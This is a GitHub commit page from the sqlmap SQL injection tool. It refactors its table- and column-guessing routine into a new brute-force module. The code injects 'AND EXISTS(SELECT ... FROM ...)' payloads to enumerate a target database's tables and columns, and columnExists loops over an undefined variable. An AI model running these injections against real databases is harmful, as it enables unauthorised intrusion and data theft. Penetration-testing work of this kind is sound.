Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 4be0631

Browse files
stamparmstamparm
committed
refactoring of brute force techniques
1 parent 221f976 commit 4be0631

4 files changed

Lines changed: 109 additions & 39 deletions

File tree

‎lib/controller/action.py‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
from lib.core.exception import sqlmapUnsupportedDBMSException
1717
from lib.core.settings import SUPPORTED_DBMS
1818
from lib.techniques.blind.timebased import timeTest
19+
from lib.techniques.brute.use import tableExists
1920
from lib.techniques.error.test import errorTest
2021
from lib.techniques.inband.union.test import unionTest
2122
from lib.techniques.outband.stacked import stackedTest
@@ -105,10 +106,10 @@ def action():
105106
conf.dumper.dbTables(conf.dbmsHandler.getTables())
106107

107108
if conf.cExists:
108-
conf.dumper.dbTables(conf.dbmsHandler.tableExists(paths.COMMON_TABLES))
109+
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))
109110

110111
if conf.tableFile:
111-
conf.dumper.dbTables(conf.dbmsHandler.tableExists(conf.tableFile))
112+
conf.dumper.dbTables(tableExists(conf.tableFile))
112113

113114
if conf.getColumns:
114115
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns())

‎lib/techniques/brute/__init__.py‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
7+
See the file 'doc/COPYING' for copying permission
8+
"""
9+
10+
pass

‎lib/techniques/brute/use.py‎

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
7+
See the file 'doc/COPYING' for copying permission
8+
"""
9+
10+
import time
11+
12+
from lib.core.agent import agent
13+
from lib.core.common import dataToStdout
14+
from lib.core.common import getConsoleWidth
15+
from lib.core.common import getFileItems
16+
from lib.core.common import popValue
17+
from lib.core.common import pushValue
18+
from lib.core.common import randomInt
19+
from lib.core.common import safeStringFormat
20+
from lib.core.data import conf
21+
from lib.core.data import logger
22+
from lib.request.connect import Connect as Request
23+
24+
def tableExists(tableFile):
25+
tables = getFileItems(tableFile, None)
26+
retVal = []
27+
infoMsg = "checking tables existence using items from '%s'" % tableFile
28+
logger.info(infoMsg)
29+
30+
pushValue(conf.verbose)
31+
conf.verbose = 0
32+
count = 0
33+
length = len(tables)
34+
35+
for table in tables:
36+
query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %d FROM %s)", (randomInt(1), table)))
37+
query = agent.postfixQuery(query)
38+
result = Request.queryPage(agent.payload(newValue=query))
39+
40+
if result:
41+
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), table)
42+
infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg)))
43+
dataToStdout(infoMsg, True)
44+
retVal.append(table)
45+
46+
count += 1
47+
status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
48+
dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)
49+
50+
conf.verbose = popValue()
51+
52+
dataToStdout("\n", True)
53+
54+
if not retVal:
55+
warnMsg = "no table found"
56+
logger.warn(warnMsg)
57+
58+
return retVal
59+
60+
def columnExists(table, columnFile):
61+
tables = getFileItems(columnFile, None)
62+
retVal = []
63+
infoMsg = "checking column existence for table '%s' using items from '%s'" % (table, columnFile)
64+
logger.info(infoMsg)
65+
66+
pushValue(conf.verbose)
67+
conf.verbose = 0
68+
count = 0
69+
length = len(tables)
70+
71+
for column in columns:
72+
query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s)", (column, table)))
73+
query = agent.postfixQuery(query)
74+
result = Request.queryPage(agent.payload(newValue=query))
75+
76+
if result:
77+
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), column)
78+
infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg)))
79+
dataToStdout(infoMsg, True)
80+
retVal.append(column)
81+
82+
count += 1
83+
status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
84+
dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)
85+
86+
conf.verbose = popValue()
87+
88+
dataToStdout("\n", True)
89+
90+
if not retVal:
91+
warnMsg = "no column found"
92+
logger.warn(warnMsg)
93+
94+
return retVal

‎plugins/generic/enumeration.py‎

Lines changed: 2 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@
4242
from lib.parse.banner import bannerParser
4343
from lib.request import inject
4444
from lib.request.connect import Connect as Request
45+
from lib.techniques.brute.use import tableExists
4546
from lib.techniques.error.test import errorTest
4647
from lib.techniques.inband.union.test import unionTest
4748
from lib.techniques.outband.stacked import stackedTest
@@ -728,7 +729,7 @@ def getTables(self):
728729
elif test[0] in ("q", "Q"):
729730
raise sqlmapUserQuitException
730731
else:
731-
return self.tableExists(paths.COMMON_TABLES)
732+
return tableExists(paths.COMMON_TABLES)
732733

733734
self.forceDbmsEnum()
734735

@@ -845,42 +846,6 @@ def getTables(self):
845846

846847
return kb.data.cachedTables
847848

848-
def tableExists(self, tableFile):
849-
tables = getFileItems(tableFile, None)
850-
retVal = []
851-
infoMsg = "checking tables existence using items from '%s'" % tableFile
852-
logger.info(infoMsg)
853-
854-
pushValue(conf.verbose)
855-
conf.verbose = 0
856-
count = 0
857-
length = len(tables)
858-
859-
for table in tables:
860-
query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT 1 FROM %s)", table))
861-
query = agent.postfixQuery(query)
862-
result = Request.queryPage(agent.payload(newValue=query))
863-
864-
if result:
865-
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), table)
866-
infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg)))
867-
dataToStdout(infoMsg, True)
868-
retVal.append(table)
869-
870-
count += 1
871-
status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
872-
dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)
873-
874-
conf.verbose = popValue()
875-
876-
dataToStdout("\n", True)
877-
878-
if not retVal:
879-
warnMsg = "no table found"
880-
logger.warn(warnMsg)
881-
882-
return retVal
883-
884849
def getColumns(self, onlyColNames=False):
885850
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
886851
errMsg = "information_schema not available, "

0 commit comments

Comments
 (0)